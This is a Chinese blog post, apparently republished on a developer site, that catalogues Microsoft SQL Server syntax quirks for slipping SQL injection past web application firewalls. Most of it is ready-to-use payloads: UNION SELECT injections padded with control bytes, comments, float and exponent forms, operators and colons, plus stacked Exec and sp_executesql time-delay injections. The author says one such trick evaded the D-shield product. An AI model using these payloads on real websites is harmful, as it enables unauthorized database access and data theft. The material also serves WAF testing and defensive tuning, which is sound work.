WAF Bypass数据库特性(MSsql探索篇)

栏目: 数据库 · SQL Server · 发布时间: 6年前

内容简介:我们经常利用一些数据库特性来进行WAF绕过。在MSSQL中,比如可以这样:浮点数形式:id=1.1union select科学计数法形式:id=1e0union select

0x01前言

我们经常利用一些数据库特性来进行WAF绕过。在MSSQL中,比如可以这样:

浮点数形式:id=1.1union select

科学计数法形式:id=1e0union select

但其实还可以这样子:id=1.eunion select

通过1.e这样的形式,我曾用它绕过了D盾的 SQL 注入防护,通过简单的Fuzz,我们来一起探索一下MSsql特性。

0x02 测试

常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

位置一:参数和union之间的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(2)注释符号

Mssql也可以使用注释符号 /**/

(3)浮点数

select * from admin where id=1.1union select 1,'2',db_name() from admin

(4)1E0的形式:

select * from admin where id=1e0union select 1,'2',db_name() from admin

(5)运算符

包括加(+)、减(-)、乘(*)、除(/)、求于(%)、位与(&)、位或(|)、位异或(^)

select username,password,id from admin where id=1-1union select '1',system_user,3 from admin

select username,password,id from admin where id=1e-union select '1',system_user,3 from admin

(6)小区别:

ASPX:[0x00-0x20]、ox2e、[0x30-0x39]、ox45、ox65、[0x80-0xff]、运算符

ASP:     [0x01-0x20]、ox2e、[0x30-0x39]、ox45、ox65、运算符

单引号:select username,password,id from admin where id=1 and '1'like'1'union select null,null,null

位置二:union和select之间的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(2)注释符号

Mssql也可以使用注释符号/**/

(3)其他符号

:   %3a  冒号

select * from admin where id=1 union:select 1,'2',db_name() from:admin

ASPX:[0x00-0x20]、0x3a、[0x80-0xff]要组合前面的两个才能执行,如%3a%a0、%a0%0a

ASP:     [0x01-0x20] 、0x3a

位置三:select和查询参数之间的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(2)注释符号

Mssql也可以使用注释符号/**/

(3)其他符号

%2b  +    select * from admin where id=1 union select+1,'2',db_name() from admin
%2d  -    select * from admin where id=1 union select-1,'2',db_name() from admin
%2e  .    select * from admin where id=1 union select.1,'2',db_name() from admin
%3a  :    select * from admin where id=1 union select:1,'2',db_name() from admin
%7e  ~    select * from admin where id=1 union select~1,'2',db_name() from admin

位置四:查询参数和from之间的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(2)注释符号

Mssql也可以使用注释符号/**/

(3)其他符号

ASP:     [0x01-0x20]、0x2e、[0x30-0x39]、0x450x65、[0x80-0xff]
ASPX:[0x00-0x20]、0x2e、[0x30-0x39]、0x450x65
id=1%20union%20select%201,'2',db_name()%80from%20admin
db_name与()中间 %00-%20 %80-%ff填充
id=1 union select 1,'2',db_name+() from admin

位置五:from后面的位置

(1)空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(2)注释符号

Mssql也可以使用注释符号/**/

(3)其他符号

:  %3a    select * from admin where id=1 union:select 1,'2',db_name() from:admin

.    %2e    select * from admin where id=1 union select 1,'2',db_name() from.information_schema.SCHEMATA

ASP:   [0x01-0x20]、0x2e、0x3a

ASPX: [0x00-0x20]、0x2e、0x3a、[0x80-0xff]

0x03 常见函数

类型一、字符串截取函数

Substring(@@version,1,1)

Left(@@version,1)

Right(@@version,1)

charindex('test',db_name())

类型二:字符串转换函数

Ascii(‘a’)

Char(‘97’) 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass

类型三:其他方式

利用存储过程

mssql的存储过程定义为:

Declare @s varchar(5000)  ``//申明变量@s 类型为varchar(5000)``Set @  ``//给@s变量赋值``Exec(@s) ``//执行@s`

id=1;Exec('WA'+'ITFOR DELAY ''0:0:5''')

id=1;declare @test nvarchar(50);set @test='wait'+'for delay ''0:0:5''';exec sp_executesql @test

0X04 END

本文整理了一些常见的MSsql数据库特性,如果有时间的话,你不妨也动动手,亲手去Fuzz一下,你可能会发现更多的特性。

仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

人人都是产品经理——写给产品新人

人人都是产品经理——写给产品新人

苏杰 / 电子工业出版社 / 2017-6 / 66.60

《人人都是产品经理——写给产品新人》为经典畅销书《人人都是产品经理》的内容升级版本,和《人人都是产品经理2.0——写给泛产品经理》相当于上下册的关系。对于大量成长起来的优秀互联网产品经理、众多想投身产品工作的其他岗位从业者,以及更多有志从事这一职业的学生而言,这《人人都是产品经理——写给产品新人》曾是他们记忆深刻的启蒙读物、思想基石和行动手册。作者以分享经历与体会为出发点,以“朋友间聊聊如何做产品......一起来看看 《人人都是产品经理——写给产品新人》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具